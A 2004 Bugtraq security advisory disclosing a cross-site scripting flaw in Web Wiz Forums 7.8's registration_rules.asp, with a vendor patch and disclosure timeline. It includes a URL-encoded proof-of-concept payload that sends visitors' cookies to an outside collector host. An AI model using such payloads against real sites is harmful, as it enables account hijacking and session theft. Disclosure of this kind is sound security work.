[35310] in bugtraq
Web Wiz Forums Registration Rules XSS Vulnerability
daemon@ATHENA.MIT.EDU (Ferruh Mavituna)
Tue Jun 15 17:44:58 2004
Message-ID: <20040615172149.20300.qmail@mail.securityfocus.com>
From: "Ferruh Mavituna" <ferruh@mavituna.com>
To: <bugtraq@securityfocus.com>, <full-disclosure@lists.netsys.com>,
"'Secunia'" <vuln@secunia.com>,
"'Vulnwatch'" <vulnwatch@vulnwatch.org>, <webappsec@securityfocus.com>
Date: Tue, 15 Jun 2004 20:25:37 +0300
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-9"
Content-Transfer-Encoding: 7bit
------------------------------------------------------
WEB WIZ FORUMS REGISTRATION RULES XSS VULNERABILITY
------------------------------------------------------
Online URL : http://ferruh.mavituna.com/article/?528
XSS / Cross Site Scripting attack allows an attacker to hijack other
users/administrators account.
------------------------------------------------------
ABOUT WEB WIZ FORUMS;
------------------------------------------------------
Web Wiz Forums, the free award winning ASP bulletin board system software,
can add value to almost any web site.
Whether you are building a small interactive community with 10 people or
over 100,000 strong customer support forum, this fast, scalable, bulletin
board engine can manage your community
URL & Demo & Source Code Download ;
http://www.webwizguide.info/web_wiz_forums/
------------------------------------------------------
VULNERABLE;
------------------------------------------------------
Web Wiz Forums Version 7.8 [possibly lower versions]
------------------------------------------------------
NOT VULNERABLE;
------------------------------------------------------
Web Wiz Forums Version 7.9
------------------------------------------------------
PROBLEM;
------------------------------------------------------
- Page
registration_rules.asp (Parameter : FID)
- Test;
registration_rules.asp?FID=%22%3E%3Cscript%3Ealert%28%27Vulnerable%2520%21%2
7%29%3C%2Fscript%3E
- Possible Exploit Pattern;
- This sample sends cookie to victim URL [in sample
http://ferruh.mavituna.com/xss/]
registration_rules.asp?FID=%22%3E%3Cimg+width%3D0+height%3D0+src%3D%22javasc
ript%3Adocument%2Eimages%5B0%5D%2Esrc%3D%27http%3A%2F%2Fferruh%2Emavituna%2E
com%2Fxss%2F%3F%27%2Bdocument%2Ecookie%22%3E
------------------------------------------------------
HOW TO PATCH [provided by vendor];
------------------------------------------------------
Download http://www.zap2.me.uk/7.7a_and_7.8_to_7.9_patch_files.zip
Version 7.9 has been released to deal with this issue.
Change line 65 of the file registration_rules.asp that reads:-
intForumID = Request.QueryString("FID")
To the following:-
If isNumeric(Request.QueryString("FID")) Then
intForumID = CInt(Request.QueryString("FID"))
Else
intForumID = 0
End If
-----------------------------------------------------
HISTORY;
------------------------------------------------------
Discovered : 14.06.2004
Vendor Informed : 15.06.2004
Published : 15.06.2004
------------------------------------------------------
Vendor Status;
------------------------------------------------------
Quickly answered & fixed.
Ferruh Mavituna
Web Application Security Specialist
http://ferruh.mavituna.com
PGPKey : http://ferruh.mavituna.com/PGPKey.asc
